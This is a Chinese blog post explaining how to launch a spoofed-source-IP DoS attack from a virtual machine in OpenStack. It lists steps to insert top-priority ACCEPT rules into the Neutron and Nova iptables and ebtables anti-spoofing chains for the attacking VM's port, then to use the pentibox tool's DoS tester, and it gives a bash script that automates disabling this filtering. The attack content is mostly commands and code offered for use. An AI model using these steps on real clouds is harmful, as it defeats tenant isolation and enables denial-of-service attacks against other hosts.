Openstack中构造伪造源地址攻击

前一篇是将防御,这一篇简单说一下openstack下如何发动伪造源ip的DoS攻击
1 修改iptables和ebtables的设定,例如攻击vm为100.0.0.17,那么查询相应的iptables规则:

neutron port-list |grep 17
| 091f121f-8cd7-4a02-b1d8-53866ab25d3d |      | fa:16:3e:f7:9d:70 | {"subnet_id": "57b30eb5-e9ee-489f-85ea-77bcaa6249e5", "ip_address": "100.0.0.17"}     |

找到iptables中含有091f121f-8的链:neutron-openvswi-s091f121f-8,neutron-openvswi-i091f121f-8,neutron-openvswi-o091f121f-8,和nova-instance-xxx(与该vm对应的)插入一条优先级最高的ACCEPT链

找到ebtables中nat表中091f121f-8的链:I-tap091f121f-8c-arp-ip,I-tap091f121f-8c-ipv4-ip,插入一条优先级最高的ACCEPT链

2 安装ruby,下载pentibox

3 启动pentibox,选择Network tools->Net DoS Tester -> 任意一种即可发动攻击

如果第1步中加了规则还是不通,请检查源主机和目的主机的安全组是否允许

下面的我写的脚本,希望对大家有所帮助

#!/bin/bash

ip=$1
echo $ip
id=`neutron port-list |grep "$ip"|awk '{print $2}'`
echo $id
if [ -z $id ]
then
echo "id null"
exit 1
fi
itid=`expr substr $id 1 10`
echo $itid
etid=`expr substr $id 1 11`
echo $etid

novarule=`iptables -L -nvx|grep $ip|grep nova |awk '{print $3}'`
echo $novarule
#clear previous rules
iptables -D neutron-openvswi-s$itid -j ACCEPT
iptables -D neutron-openvswi-i$itid -j ACCEPT
iptables -D neutron-openvswi-o$itid -j ACCEPT
iptables -D $novarule -j ACCEPT

ebtables -t nat -I I-tap$etid-arp-ip -j ACCEPT
ebtables -t nat -I I-tap$etid-ipv4-ip -j ACCEPT

#create rules
iptables -I neutron-openvswi-s$itid -j ACCEPT
iptables -I neutron-openvswi-i$itid -j ACCEPT
iptables -I neutron-openvswi-o$itid -j ACCEPT
iptables -I $novarule -j ACCEPT

ebtables -t nat -I I-tap$etid-arp-ip -j ACCEPT
ebtables -t nat -I I-tap$etid-ipv4-ip -j ACCEPT

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值